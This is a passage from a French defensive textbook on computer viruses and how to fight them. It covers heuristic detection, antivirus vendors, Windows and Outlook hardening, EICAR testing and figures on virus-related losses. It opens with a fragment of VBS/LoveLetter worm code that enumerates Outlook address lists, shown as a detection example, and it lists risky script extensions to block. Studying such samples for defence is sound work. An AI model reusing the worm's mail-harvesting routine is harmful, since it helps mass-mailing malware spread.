On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1
Figure 8.6 Code suspect rencontr dans certaines variantes
Dunod La photocopie non autorise est un dlit
de VBS/LoveLetter@MM
Dans le cas de Loveletter, de nombreuses variantes utilisent les variables : ctrentries, b, regedit, regv, regad.
Tous ces indices mis bout bout permettent de dtecter, laide dun seul ensemble de rgles, plus de 50 variantes du virus. La recherche gnrique est galement trs efcace dans la recherche de programmes non-auto reproducteurs inconnus.
228
229
stabilis au sein dune machine samenuise inexorablement et explique la disparition de la mthode comme procd principal de lutte anti-virale. Plutt que de crer une base de rfrence, certains logiciels marquent les chiers en leurs ajoutant, comme le font de nombreux virus, quelques octets. Cette mthode est dangereuse plus dun titre : le retour en arrire nest pas toujours optimal et la modication du code source dun programme peut rserver un jour ou lautre des surprises
Accs suspect vers dautres fichiers. Le programme semble contenir un processus dinfection. Relocation. Le code se reloge en mmoire de faon suspecte. Allocation Mmoire Suspecte. Lallocation mmoire utilise une mthode non standard. Extension non conforme. Aux vues de la structure du programme, lextension du fichier nest pas conforme ce quelle devrait tre. Routine de recherche dexcutables (.COM ou .EXE). Routine de dcryptage. Point dEntre flexible. Le code semble construit pour permettre une introduction facile au sein dun excutable quelconque. Capacit dintercepter dautres programmes se chargeant en mmoire. Ecriture en mode physique. Le programme crit sur le disque sans passer par le DOS.
# E L D
230
J ? G U Z O B K
Une succession de saut Entte de fichier incorrecte. Code inutile et superflu. Appel une interruption DOS non documente. Routine de dtermination EXE ou COM Routine de dplacement ou dcrasement despace mmoire. Routine de re-direction sur Point dEntre modifi. Utilisation inhabituelle de la pile mmoire (zone de stack).
La pertinence de ce modle de recherche fut facilement dmontre lorsquil fut appliqu des familles virales connues.
Tableau 8.4 Modle de recherche heuristique applique quelques virus connus FAMILLE VIRALE Jerusalem Backfont Ghost Murphy Ninja Tolbuhin Yankee_Doodle FRLMUZ FRALDMUZK FELDTGUZB FSLDMTUZO FEDMTUZOBK ASEDMUOB FN#ELMUZB VALEUR DE LINDICATEUR
Des fausses alertes, inconvnients de la mthode, ne manqurent pas dapparatre. Bien connu des programmateurs DOS, le programme loadhi.com1 devint un moment suspect aux yeux de TbScan. Lindicateur retournait la valeur AMUZO. Aujourdhui encore, la parade consiste reconnatre ces programmes lgitimes pour les liminer dofce avant, aprs ou pendant lanalyse. Il est tout fait possible de revisiter la mthode ci-dessus pour lappliquer aux programmes actuels. Pour des chiers binaires Windows suspects, il est possible de citer : Un point dentre dans la dernire section. Un point dentre avant la premire section.
1. Loadhi.com : lment du gestionnaire de mmoire QEMM.
231
Un saut inter-section. Des caractristiques de sections inattendues. Un nom de section inattendu. Une boucle de dcryptage simple ou polymorphe au point dentre. Des instructions inattendues (fonctionnalits dmission de mails, instructions lies des exploits connus ou des squences anti-dbug).
232
Tableau 8.5 Les principaux constructeurs de produit anti-virus ANTI-VIRUS (STATION DE TRAVAIL) V3Pro Deluxe eSafe
COMPAGNIE AhnLab Aladdin Knowledge Systems Alwil Trade Ltd Authentium CAT Computer Services Pvt. Ltd. Central Command Inc Computer Associates CyberSoft Eset
SITE WEB & CONTACT http://info.ahnlab.com/english/ http://www.ealaddin.com/ http://www.allasso.fr aladdin@allasso.fr http://www.asw.cz/index.html http://www.alwil.com http://www.authentium.co.uk/index.cfm http://www.quickheal.com/ http://www.quickheal.cite-net.fr amally@cite-net.fr http://www.centralcommand.com/index.html http://ca.com/offices/belgium/french/ infos.belux@ca.com http://www.cybersoft.com http://www.nod32.com/home/home.htm www.lgr.fr nod32@lgr.fr http://www.f-prot.com/index.html http://www.hermitagesolutions.com/public/ pages/32000.php http://www.f-secure.com/ france@f-secure.com http://www.gdata.de/ b-vertrieb@gdata.de http://www.ravantivirus.com/pages/ info@ravantivirus.com http://www.ggreat.com/ http://www.avgfrance.com http://www.hbedv.com/ http://www.hauri.net/ info@hauri-europe.com http://www.ikarus-software.at/portal/index.php office@ikarus.at
Frisk Software International F-Secure G DATA GeCAD Software Ggreat Grisoft H+BEDV Datentechnik GmbH Hauri Ikarus Software
F-Prot
F-Secure Anti-Virus AntiVirenKit RAV AntiVirus ZLOCK AVG Anti-Virus AntiVir ViRobot Virus utilities
233
COMPAGNIE Kapersky Lab Leprechaun McAfee MicroWorld Technologies Inc. MkS Sp z o.o. NetZ Computing Ltd New Technology Wave Inc. Norman ASA Panda Software PER SYSTEMS S.A. Prognet Technologies Proland Software Rising Softwin
ANTI-VIRUS (STATION DE TRAVAIL) KAV VirusBUSTER II VirusScan eScan mks_vir InVircible Virus Chaser Norman Virus Control Titanium Antivirus Per Antivirus Fire anti-virus Protector Plus Rising Antivirus Software Bit Defender
SITE WEB & CONTACT http://www.kaspersky.com/fr/ info@fr.kaspersky.com http://www.leprechaun.com.au/ http://www.mcafee.com/fr/ http://www.mwti.net http://www.mks.com.pl/english.html support@mks.com.pl http://invircible.com http://www.viruschaser.com/Eng/index.jsp http://www.norman.com/fr/support.shtml http://www.pandasoftware.com/fr/ standard@pandasoftware.com.fr http://www.perantivirus.com/ http://www.fireav.com/company/contact.htm http://www.pspl.com http://www.rising-eu.com/ http://fr.bitdefender.com/bd/site/page.php http://www.editions-profil.fr commercial@editions-profil.fr http://www.sophos.fr/ info@sophos.fr http://www.antivirus-download.com/ http://www.sald.com/
Sophos SRN micro systems St.Petersburg antivirus laboratory by Igor Daniliff (SalD Ltd.) Symantec Tegam International
234
9
Organiser la lutte anti-virale
Lorganisation de la lutte anti-virale passe par la mise en place doutils de dtection et de prvention depuis le poste de travail jusquaux passerelles. Il faut aussi mettre en uvre, puis respecter dun certain nombre de grandes rgles, souvent pleines de bon sens. cot de celles-ci des mesures plus terre terre, des modifications de paramtrage dans la configuration par dfaut des systmes dexploitation et des logiciels bureautiques, permettront de mieux coller la ralit de la menace qui se diversifie. Ce sont ces divers points qui vont tre abords dans ce chapitre.
Jinvite le lecteur consulter le Rfrentiel Dunod ddi la protection des systmes dinformation1. Dans le chapitre ddi la lutte anti-virale jy prsente, avec
1. Ce Rfrentiel se veut tre la bible la fois du responsable scurit et de tous ceux qui, sans occuper cette fonction, sont confronts la mise en uvre ou la gestion des politiques de scurit.
236
laide de mes collgues du CLUSIF, la sphre informatique comme une srie de niveaux concentriques avec : Les ressources propres lutilisateur. Les ressources partages. Les passerelles. Le monde extrieur.
Chacun de ces espaces peut tre attaqu et doit tre rglement. Les lignes de ce sous-chapitre sont une reprise partielle de la section du Rfrentiel ddi lorganisation de la lutte anti-virale.
237
Des offres de scurits existent aujourdhui pour les PDA. Elles protgent ces quipements contre les quelques virus et chevaux de Troie actuels.
238
Les solutions IDS et IPS combinent logiciel et matriel. Fonctionnant comme des solutions anti-virus ou anti-spam, les systmes de dtection dintrusions (IDS Intrusion Prevention System) se rfrent une base de signatures dattaques connues. Elles ne peuvent dtecter que celles dont elles possdent la signature. An de donner leur solution plus de ractivit lorsquune attaque surgit, certains diteurs ont dcid de transformer leur offre en IPS (Intrusion Prevention System). Ils axent leur technologie vers la prvention proactive, capable de ragir en temps rel lorsque quune anomalie est dtecte ou quune intrusion est avre. Lquipement fonctionne selon des rgles de comportement et de signatures dattaques, il surveille les attaques en dpassement de tampon (buffer overow), les lvations de privilges, les chargement en mmoire et les modications critiques du systme dexploitation, lutilisation excessive du CPU, la diminution soudaine de la bande passante, etc. Ces quipements signalent des divergences par rapport au fonctionnement normal des lments surveills. Contrairement au pare-feu, qui traite des requtes et les interdit, un tel systme les analyse de faon continue et ne ragissent quen cas danomalies.
239
En entreprise, il est possible de nommer des correspondants scurits qui pourront servir de relais bidirectionnels dans leur environnement proche. En prise directe avec les utilisateurs, la cellule de soutien technique (HelpDesk) doit travailler en lien troit avec lquipe scurit. Elle doit savoir comment ragir face aux interrogations des utilisateurs et valuer la pertinence dune mise jour force et anticipe des outils de protection. Elle doit aussi pouvoir valuer un risque ponctuel imposant un changement temporaire du niveau de scurit appliqu (blocage dune nouvelle extension de chier, passage au mode danalyse heuristique, etc.). Selon limportance de lentreprise ou envisagera ou non, la mise en place dquipes dastreinte (pour la veille technologique et lintervention) pouvant aller jusquau 24/24 7 jours sur 7.
Les virus sattaquent souvent des logiciels ou leurs failles, ils sintroduisent parfois par le biais de fonctionnalits inutilises. Dune manire gnrale, les installations standards sont singulirement vulnrables. Retirer certaines fonctionnalits telles que le partage de chier ou le partage de bureau Net Meeting permet dobtenir des postes plus performants et moins sensibles aux virus. Par ailleurs, les correctifs appliquer en sont dautant moins nombreux et la gestion de son parc sen retrouve affermie. Le paramtrage des applications, en particulier la navigation Internet et la messagerie doit faire lobjet de procdures scrupuleuses. Le navigateur de Microsoft est particulirement vis par les virus, au del des correctifs appliquer rgulirement, il faut renforcer la scurit en modiant les paramtres de navigation par dfaut qui sont parfois trs permissifs (exemple : ouverture automatique de contenus actifs). Ne pas ouvrir automatiquement les pices jointes est une bonne mesure. Le principe de prudence serait de rendre passive la navigation sur Internet, et de naccepter que le contenu actif (java, scripts, active x, cookies) de sites choisis.
240
Ce paramtrage pouvant tre bloquant sur certains sites mal dvelopps, lutilisateur doit tre form comme cela a dj t indiqu plus haut. Le client de messagerie standard Microsoft tant bas sur le paramtrage de scurit du navigateur, on voit bien limportance de ce type daction.
241
Au sujet dOfce 2000, je recommande la lecture de ltude mene par Darren Chi & Raul Elnitiarta dans le numro doctobre 1999 du Virus Bulletin1. On notera parmi leurs recommandations, galement valables pour Ofce 2003 : Configurer chaque application avec un niveau de scurit maximal. Ne pas activer le choix Faire confiance tous les modles et complments installs (onglet Sources fiables du sous-menu Outils/Macro/Scurit. En version anglaise, ce choix est intitul Trust all installed add-ins and templates.
242
Tlcharger les contrles ActiveX non signs Demander. Tlcharger les contrles ActiveX sign Demander. Microsoft VM : Autorisation Java Haute Scurit. Script : Permettre les oprations de collage via les scripts Demander. Script des applets Java Demander. Linconvnient de cette mthode est lapparition de nombreuses boites de dialogue au cours de la navigation. Cest la raison pour laquelle je ne peux prconiser cette conguration que dans le cas dune navigation risque. Les termes sr et sign font rfrence des certicats numriques de scurit tablis par des autorits reconnues la demande des diteurs. Ils sont censs garantir que le programme appel a bien t cr par tel diteur de conance.
243
Attention, cette conguration ninue pas sur le type de format en rponse un mail. Celui-ci reste par dfaut identique celui du mail reu. Sous Outlook Express, vous choisirez longlet Envoyer (le sous-menu Outils/ Options). Vous pourrez alors choisir entre HTML et Texte brut.
Sous Outlook, les options de prvisualisation sont paramtrables via le menu Afchage et les choix Volet de lecture et Aperu partiel. Avec Outlook Express, le choix Afchage/Disposition vous permet dactiver ou non la prvisualisation (choix Afcher le volet de visualisation).
244
Suite cette manipulation, lexcution dun chier de script ne se fera plus ni via un double-clic, ni via le bouton droit de la souris (choix Ouvrir). Au lieu dune excution, ces commandes ouvriront lditeur de texte notepad et vous permettront de visualiser le contenu du chier de script. Pour permettre une excution rapide des chiers, vous crerez une nouvelle cl de type Execute :
Hkey_Classes_Root\VBSFile\Shell\Open\Execute: c:\win98\wscript.exe %1 % Hkey_Classes_Root\VBSFile\Shell\Open2\Execute: c:\win98\command\cscript.exe %1 %
Un click droit de la souris vous offrira alors un choix Excuter qui vous permettra de raliser cette fonction. Si vous devez conserver en ltat WSH, ne rpondez jamais immdiatement Oui en prsence de la boite de dialogue Alerte de Scurit. Vriez avec votre diteur de texte le contenu de la page suspecte.
245
Dans longlet Types de fichiers, il faut maintenant rechercher les extensions risque. Citons parmi elles : JS, JSE, OTF, REG, SCT, SHB, SHS, VBE, VBS, WSC, WSF, et WSH. Pour chacune dentre elle, il faudra modier le programme que lon souhaite utiliser pour son ouverture. Ce rglage se fait via le bouton Modier puis le choix du Bloc-notes.
Modification dextension
246
Il faudra ensuite vrier la prsence de lextension PIF. Si celle-ci est absente, on lajoutera en lui associant ensuite le Bloc-notes selon la technique prcdente.
247
Continuez la recherche en choisissant Edition/Suivant. La cl suivante est normalement HKEY_CLASSES-ROOT\ShellScrap. Cest elle qui doit tre modifie. Dans la fentre de droite, choisissez la ligne NeverShowExt, et faites apparatre le menu conceptuel via le bouton droit de la souris. Excutez le choix Supprimer. Quittez Regedit.
Parmi toutes les adresses IP disponibles, il existe trois classes IP prives. Elles peuvent tre utilises en toute libert au sein dune entreprise ou chez un particulier. Ne pouvant se connecter directement Internet, elles sont plus rsistantes aux attaques. Il est donc conseill de les employer comme valeurs par dfaut pour le protocole Internet TCP/IP. Il sagit ici de ladresse physique lie votre carte rseau. Lors de linstallation de votre passerelle Internet, une adresse IP virtuelle, xe ou variable, vous sera attribue, cest au travers de celle ci que seffectuera votre accs distant. Toujours en lien avec les proprits de connexion au rseau Internet, deux composants installs par dfaut peuvent tre gnralement dsactivs ; il sagit du : Client pour le rseau Microsoft. Partage de fichiers et dimprimantes pour les rseaux Microsoft.
248
Tableau 9.1 Classes prives dadresses IP Nom de classe prive A Adresse IP 10.x.y.z, o : 0 <= x <= 255 0 <= y <= 255 0 <= z <= 255 172.x.y.z, o : 16 <= x <= 31 0 <= y <= 255 0 <= z <= 255 192.168.x.y, o : 0 <= x <= 255 0 <= y <= 255 Nombre maximum de machines connectables (256*256*256) 2 = 16 777 214
(256*256) 2 = 65 534
Sils restent slectionns, alors que vos adresses IP sont diffrentes de celles proposes ci-dessus, votre station ou votre rseau reste gnralement vulnrable malgr linstallation dun pare-feu congur avec ses options par dfaut.
Si vous utilisez une carte WiFi, cette recommandation reste bien sur valable.
Sources alternatives Afin dtre moins vulnrables, il vous est aussi possible de choisir des logiciels alternatifs loffre de Microsoft. Deux logiciels en version franaise doivent retenir votre attention :
Navigateur Internet : Mozilla FireFox. Outil de messagerie : Mozilla Thunderbird.
249
Ces logiciels sont trs conviviaux. Sachez cependant que votre accs sur le site Windows Update nest pas gr par FireFox ; le conseil qui vous est parfois donner de supprimer lintgralit de Windows Explorer doit donc tre suivi en toute connaissance de cause.
250
TruSecure ICSA Labs : http://www.icsalabs.com/index.shtml Virus Test Center University of Hamburg Computer Science Department : http://agn-www.informatik.uni-hamburg.de/vtc/naveng.htm Virus Research Unit University of Tampere, Finland : http://www.uta.fi/ laitokset/virus/ (aujourdhui en sommeil) Virus Bulletin : http://www.virusbtn.com/ Dans un ordre souvent diffrent, on retrouve dans tous ces tests le mme peloton de tte constitu dune douzaine de produits alphabtiquement cits ci-dessous1 : Avast! Professional Edition 4.1 BitDefender Professional Edition 7.2 Dr.Web for Windows 95-XP 4.31b NOD32 2.0 F-Prot for Windows 3.15 RAV Reliable Anti-Virus 8.6 H+B EDV AntiVir Professional 6.26 Kaspersky Anti-Virus Personal 5.0 McAfee VirusScan 8.0 Panda Platinum Internet Security 8.0 Sophos Anti-Virus 3.84 Symantec Norton Anti-Virus 2004 Trend Micro Internet Security 2004
251
les modes de recherche offerts. Il est important dviter les produits travaillant uniquement par base de signature. Il faut aussi viter le tout heuristique. Le panachage est gage de russite. la facult de nettoyer en profondeur la base de registres, la possibilit de verrouiller la configuration, la convivialit de linterface, la transparence pour lutilisateur, la rgularit des mises jour, la taille de chaque mise jour (processus incrmental ou non), la rapidit de raction face un virus inconnu, la prennit de la marque et son implantation en France, limportance des quipes techniques et leurs localisations, loffre de produits complmentaires lanti-virus, et, sil ny a pas de mise jour, la qualit des modules dinterception et dlimination en environnement sain et contamin. Le nombre de souches reconnues nest pas retenir. Derrire une seule signature un produit peut dtecter une centaine de variantes au dsavantage dun autre produit qui prfrera les diffrencier La vitesse dexamen dun support sain est intressante prendre en compte. Ce paramtre est sans intrt sur un support infect. Dans ce cas, cest la rigueur, lefcacit dans la dtection et lradication qui prime. Ceux qui voudront se livrer leurs propres analyses risquent de se lancer dans des tests en utilisant leur propre collection de virus. Ceci est trs dangereux et ne donnera aucun rsultat satisfaisant : pour les anti-virus du peloton de tte, les rsultats seront du 100 % (virus communs). La seule consquence risque dtre une activation malencontreuse dun de ces virus et une propagation vers le monde extrieur.
Dunod La photocopie non autorise est un dlit
Il est cependant possible de mener des tests. Le chier eicar.com est ddi cet exercice. Le mode de fabrication de ce leurre est largement diffus. Vous le trouverez entre autre sur le site de lassociation qui porte son nom1.
1. EICAR : http://www.eicar.com/anti_virus_test_le.htm.
252
On obtient ainsi un chier sans danger dont la signature normalise a t introduite dans toutes les bases de signatures des diteurs dantivirus srieux. Il est ensuite possible de triturer ce faux virus en : lui masquant son extension, lui donnant toutes sortes dextensions possibles, lui donnant une double extension, le compressant dans toutes ses formes, faisant des compressions rcursives, utilisant de multiples compresseurs DOS ou Windows (ASPack, NeoLite, PEPack, Petite, PkLite32, Shrinker, UPX, WWPack32, WinZip, Diet, Ice, LzExe, PkLite, WWPack etc.). Bien entendu en utilisant plusieurs versions de chacun de ces compresseurs. Le comprimant en mode auto-extractible Une fois ces manipulations faite, il est possible dobtenir une centaine de chiers que lon pourra ensuite prsenter son anti-virus. Ne croyez pas alors obtenir un taux de russite 100 % ; ces tests sont beaucoup plus malaiss quils ny paraissent : Scan la demande : si un fichier nest pas dtect cest que votre antivirus ne gre pas, par exemple, tel type de compression/dcompression, ou dcompresse mal le fichier. Scan sur accs : copiez, dplacez les fichiers sur un disque ou sur des disques rseaux. Lorsquils ont une extension adquate, tentez un double-clic. Sur dautres extensions, essayez une ouverture au travers de notepad ou dun outil bureautique quelconque. Sils sont compresss, tentez une dcompression au travers de lutilitaire qui permet de les restaurer. Observer le temps de rponse de votre antivirus et sa capacit effacer ou mettre en quarantaine les souches. Test POP/SMTP : Sous Outlook ou Outlook Express, envoyez ces fichiers en pice jointe, seuls ou en lot. Renouvelez le test avec dautres messageries : Netscape, Eudora, Lotus Notes, Pegasus, The Bat, etc. Si votre antivirus travaille au niveau du protocole POP3, tous les clients de messagerie devraient tre protgs. Envoyez ces fichiers en utilisant tous les protocoles et clients de communications instantanes votre disposition : P2P (Poste Poste), ICQ, Yahoo! Messenger, NetMeeting, MSN Messenger, etc. Une fois ces textes effectus, il ne vous reste plus qu vous forger une opinion.
253
Les chiffres annoncs sur une anne sont aussi loquents mais tout aussi difcilement vriables.
Dunod La photocopie non autorise est un dlit
Tableau 9.3 Pertes estimes par anne (source Computer Economics) Anne 1995 1996 1997 1998 1999 2000 2001 $ 0,5 $ 1,8 $ 3,3 $ 6,1 $ 12,1 $ 17,1 $ 13,2 Worldwide Economic Impact (billions US)
254
Les rsultats des enqutes de lICSA Labs (International Computer Security Association) semblent plus raisonnables. Elles tentent de cerner le phnomne en le ramenant lchelle dun sinistre et dune entreprise. Il semble possible de rsumer ces tudes en estimant quune attaque virale cote en moyenne entre 5000 et 10000 Euros pour lentreprise qui la subit.
Tableau 9.4 Pertes estimes par entreprise (source ICSA) ICSA Labs 1996 1997 1998 1999 Indisponibilit dun serveur 348 minutes (environ 6 heures) 40 minutes 43 minutes Moins dune heure dans 91 % des cas. Moins dune heure dans 36 % des cas. Entre 1 et 20 heures dans 33 % des cas. De 0 1 heure dans 12 % des cas. Entre 1 heure et 10 heures dans 72 % des cas. De 0 1 heure dans 51 % des cas. Entre 1 heure et 10 heures dans 22 % des cas. Pertes en homme/jour 44 heures (moins de 2 H/J) 44 heures (moins de 2 H/J) 45,6 heures (moins de 2 H/J) Moins de 20 H/J dans 80 % des cas. 5 H/J comme valeur mdiane Moins de 10 H/J dans 75 % des cas. 7 H/J comme valeur mdiane Pertes financires $ 8.100 $ 8.360 $ 2.454 Moins de $ 5000 dans 74 % des cas. Valeur moyenne : 8,4 K$ Valeur mdiane : 1,7 K$ Moins de $ 1000 dans 33 % des cas. Entre $ 1000 et $ 10000 pour 29 % des cas. Valeur moyenne : 8,4 K$ Valeur mdiane : 1,7 K$ Moins de $ 1 000 dans 43 % des cas. Entre $ 1 000 et $ 30 000 pour 34 % des cas. Valeur moyenne : 69 K$ Valeur mdiane : 5,5 K$ Moins de $ 10 000 dans 54 % des cas. Entre $ 10 000 et $ 50 000 pour 35 % des cas. Valeur moyenne : 81 K$ Valeur mdiane : 9,5 K$
2000
2001
2202
Le premier chiffre franais quil ma t possible de retrouver provient du CLUSIF. Selon lassociation, lvaluation de limpact conomique des infections virales pour les entreprises franaises en 2000 fut de 129 millions de francs. Plus prs de nous, aprs lattaque Mydoom, le CLUSIF a lanc le 9 fvrier 2004 auprs de ses membres son second Observatoire dImpact. Tout comme lanne prcdente (janvier 2003) avec W32/Lirva@MM lassociation esprait ainsi mieux appr-
255
hender les consquences dune attaque virale en France et en faire bncier lensemble des acteurs de la profession. Environ 300 entreprises, membres du CLUSIF, reurent le questionnaire. 35 y rpondirent. La suite de ce paragraphe est une reprise du texte que jai crit la demande du CLUSIF et qui est visible sur son site1. Mydoom avait t rencontr dans 97 % des cas (34 cas contre 1). Circulant principalement au travers de la messagerie lectronique, il avait gnralement t bloqu. Le nombre de courriels intercepts tait frquemment connu. Il montrait limportance du phnomne et se dclinait selon le tableau suivant.
Tableau 9.5 W32/Mydoom@MM courriels bloqus par entreprise (source CLUSIF) Nombre de courriels bloqus par entreprise Plus de 100 000 Entre 10 000 et 100 000 Entre 1000 et 10 000 Moins de 1 000 Chiffre non communiqu 2 13 10 4 6 Nombre de rponses
Le virus sest propag au sein de lentreprise dans 6 cas seulement. Il a alors impact entre 2 et 300 machines. Nayant pas de module destructeur linfection a t matrise sans effet secondaire notable. 9 entreprises ont, malgr tout, signal des dommages. Il sagissait gnralement dun ralentissement des changes de mail allant parfois jusquau blocage (plusieurs heures) ou lisolement de la messagerie (2 heures). Une entreprise nous a signal un problme datteinte son image de marque.
Dunod La photocopie non autorise est un dlit
Beaucoup entreprises se sont plaintes du nombre important de messages dalerte errons en provenance des anti-virus de socits extrieures. Ce phnomne li la technique dusurpation dadresse nest pas nouveau. Il a t cependant particulirement visible cette occasion et ne cesse encore de crotre aujourdhui. Rappelons quayant collect des adresses lectroniques sur le poste infect, le virus utilisait celles-ci comme metteurs apparents. Congur pour alerter lexpditeur, lanti-virus interceptant le message redirigeait alors lalarme vers cette fausse adresse.
dimpact :
https://www.clusif.asso.fr/fr/production/infovir/
256
Tableau 9.6 Mydoom alertes errones (source CLUSIF) Nombre de messages dalertes errons reus par entreprise Plus de 100 000 Entre 10 000 et 100 000 Entre 1000 et 10 000 Moins de 1000 Chiffre non communiqu 1 1 1 7 25 Nombre de rponses
14 entreprises ont estim leurs pertes nancires. Dans la majorit des cas, ces entreprises estimaient limpact nancier comme nul (dans 7 cas) ou faible (dans 5 cas). Lune dentre elles expliqua ce fait en indiquant que le cot interne fait partie intgrante de nos politiques de scurit . Dautres comparrent ce type de dpense une campagne de traitement de messages non sollicits. Seules deux entreprises nous ont indiqu un chiffre relativement important ; pour lune, 20 jours/homme, pour lautre 20.000 Euros. Sur les 34 entreprises qui ont vu le virus, 16 sont mme de prciser le jour et lheure de la premire alerte. Pour 15 dentre elles, celle ci eut lieu avant le 27 janvier 16 heures (soit moins de 24 heures aprs le dbut de lalerte). Rappelons que selon les experts, le virus a t repr pour la premire fois le 26 janvier 2003 vers 19h (c..d 18h GMT).
Tableau 9.7 Mydoom chelonnement des premires alertes (source CLUSIF) Premire alerte signale par lentreprise au regard de la premire alerte mondiale. T0 T0 + 5 heures T0 +18 heures T0 +21 heures 26 janvier 2004 26 janvier 2004 27 janvier 2004 27 janvier 2004 19h. 23h59 13h 16h Nombre de rponses cumules 1 4=1+3 13 = 9 + 3 + 1 15 = 2 + 9 + 3 + 1 20
Si lon ajoute ces prcdentes donnes les entreprises nayant communiqu que le jour de la premire alerte, on obtient le tableau suivant :
257
Tableau 9.8 Mydoom chelonnement total des alertes (source CLUSIF) Premire alerte signale par lentreprise au regard de la premire alerte mondiale. Jour J J +1 J +2 J+4 J +6 J+7 26 janvier 2004 27 janvier 2004 28 janvier 2004 30 janvier 2004 1er fvrier 2004 2 fvrier 2004 4 19 = 4 + 15 20 = 4 + 15 + 1 21 = 1 + 4 + 15 + 1 22 = 1 + 1 + 4 + 15 + 1 23 = 1 + 1 + 1 + 4 + 15 + 1 Nombre de rponses cumules
31 entreprises sur 35 on su indiquer le degr de mise jour de leur anti-virus. Dans 77 % des cas lanti-virus dtectait et radiquait le virus. Dans certains cas seul lanti-virus de la passerelle de messagerie tait jour ; celui du poste de travail d tre remis niveau. Cest ainsi que 48 % des entreprises indiqurent avoir cependant d effectuer une mise jour. la lecture des remarques que quelques responsables dentreprises transmirent au CLUSIF, il apparu que Mydoom.A tait considr comme la plus forte infection que ces entreprises avaient du subir jusqualors. Limpact nancier en terme de cot direct semblait malgr tout proche de zro. Alors que lanti-virus du poste de travail d parfois subir une mise jour durgence, les anti-virus situs sur les passerelles de messagerie semblaient avoir convenablement jou leur rle. Les processus de mise jour automatique et de ltrage des extensions suspectes avaient, dans lensemble, correctement fonctionn.
Dunod La photocopie non autorise est un dlit
Le virus a certainement t la cause majeure de lengorgement des messageries et de la perte de disponibilit par surcharge du trac rseau. Il ne faut cependant pas sous-estimer le surcrot de trac engendr par les anti-virus eux mme qui, mal congurs, retournaient vers de nombreux correspondants des messages dalerte par ailleurs errons.
10
Dernires volutions et perspectives
Dans le chapitre 2 nous avons abord lhistorique du phnomne virus. Aprs en avoir dtaill leur fonctionnement dans les chapitres suivant, nous nous sommes attachs comprendre comment lutter armes gales avec eux. Jespre vous avoir fait comprendre quil tait ais dobtenir un niveau de scurit raisonnable avec les produits du commerce, une bonne configuration de son systme et un peu de bon sens. Tentons maintenant un regard vers le futur. Les vers sont sur le devant de la scne ; leur nombre ne cesse de crotre et leurs auteurs sont toujours intresss en crer de nouveaux. Ils utilisent pleinement Internet et les diverses autres infrastructures rseau ; ils optimisent leur vitesse de propagation et distribuent des outils de piratage. Lenvoi massif et rpt de courriers non sollicits devient la principale plaie du net. Nous verrons que certains virus prennent part cette distribution. Ce chapitre dmontrera galement que les auteurs actuels ne cherchent ni dtruire, ni dtriorer des informations ; plus discret, leur but est cependant souvent plus prjudiciable. Dans les annes 1992 / 1995 quelques tudes cherchaient mesurer la vitesse de propagation des virus dans un pays donn. cette poque, leur origine locale ou non tait un facteur dterminant. Ce temps est maintenant rvolu. La mondialisation et linstantanit sapplique aussi au phnomne virus. Pour esprer atteindre son but, le virus doit avoir recours une propagation aussi rapide que massive, parfois explosive. La discrtion peut aider, mais elle devient secondaire. Certains virus semblent capables de perdurer alors mme que dautres disparaissent spontanment ou volontairement. Leur caractre explosif ne garantie
260
pas leur persistance. Celle ci ne semble dailleurs pas forcment souhaite. Les objectifs sont autres. Ce dernier chapitre va tenter de les dvoiler et den montrer toutes leurs perversits.
La plupart de ces malveillances restent cantonnes dans nos collections. Leur dure de vie peut-tre considre comme nulle. Quelques-unes alimentent nos TOP-10 et sont ainsi sur le devant de scne pour une priode plus ou moins longue. Pour mieux envahir nos machines, les objectifs semblent technologiques, pragmatiques, cibls et fonctionnels.
Technologique
savoir se mettre jour, saffranchir de lutilisateur, gagner en vitesse, diminuer en taille, intgrer de multiples techniques de propagation, cibler le particulier comme lentreprise, tre anonyme, sduire lutilisateur ou sen affranchir, tirer avantage des nombreuses vulnrabilits dcouvertes,
261
1999 4 1 3 1 12
2000 1 5 3 2 1
2001
2002
2003
2004
3 8 2 4 1 10 19 3 45 3
.WORM AUTRES
Linexion de tendance des vritables vers (.worm) au dtriment des massmailers nest pas franchement dcelable dans ce tableau. Elle me semble pourtant sannoncer. Aprs Codered en 2001, dautres exemples peuvent tre cits : Slammer, Lovsan et Nachi en 2003. Sasser en 2004.
262
Les courbes de ces alertes rejoingnent celles du nombre total estim de virus par catgorie. Dans un premier temps macro-virus (exemple : W97M/Melissa@MM), ensuite utilisant le VBScript (exemple : VBS/LoveLetter@MM), la tendance actuelle montre une recrudescence des virus programme (exemple W32/Nimda@MM) dont lintrt rside dans la capacit dintgrer dans un mme ensemble plusieurs techniques de propagation (messagerie, disques partags, serveurs IIS, etc.).
Alors que leur nombre natteignait pas 350 au 1er janvier 2002, le chiffre actuel des mass-mailers dpasse peut-tre aujourdhui les 10 000.
263
Cette prdominance est mondialement visible dans les divers TOP-10. En France, depuis le dbut 2000, le CLUSIF collecte les alertes que lui remontent certains de ses membres. Grce ce travail collectif il est possible dtablir une table de prvalence trimestrielle qui regroupe les virus les plus communment rencontrs sur notre territoire. Depuis plus de 2 ans, ce sont principalement des mass-mailers. Rappelons quil existe deux types de mass-mailers : Le suffixe @M est ddi aux premiers dentre eux. Ils ont une propagation lente et ciblent une seule bote aux lettres chacune de leur activation. Les seconds ciblent plusieurs botes aux lettres chacune de leur activation et ont une propagation plus explosive. Le suffixe @MM leur est ddi. La plate-forme macro-virus (exemple : W97M/Melissa@MM) est de moins en moins rpandue. La mode est passe. Alors que plus de 60 virus de cette famille furent crs en 2000, on en compta moins de 20 en 2001. Ce chiffre fut peine dpass en 2002. Cette disparition se retrouve au niveau de lObservatoire Virus du CLUSIF qui nen cite plus aucun depuis 3me trimestre 2001.
Les plates-formes VBScript (exemple : VBS/LoveLetter@MM) et JAVAScript (JS/ Kak@M) sont en perte de vitesse. La mode passe. Alors que plus de 160 virus de cette famille furent crs en 2000, on en compta moins de 90 en 2001. Cette tendance se retrouve galement au niveau de lObservatoire Virus qui, depuis le 3me trimestre 2003, nen cite plus dans son TOP-10.
264
La plate-forme 32 bits (exemple W32/Nimda@MM, W95/Babylonia@M) est en plein essor. Le virus programme est la mode. Plus de 130 virus de cette famille furent crs en 2001 et la progression est exponentielle. Cet engouement se retrouve bien entendu dans le TOP-10 avec des virus quasi exclusivement de ce type.
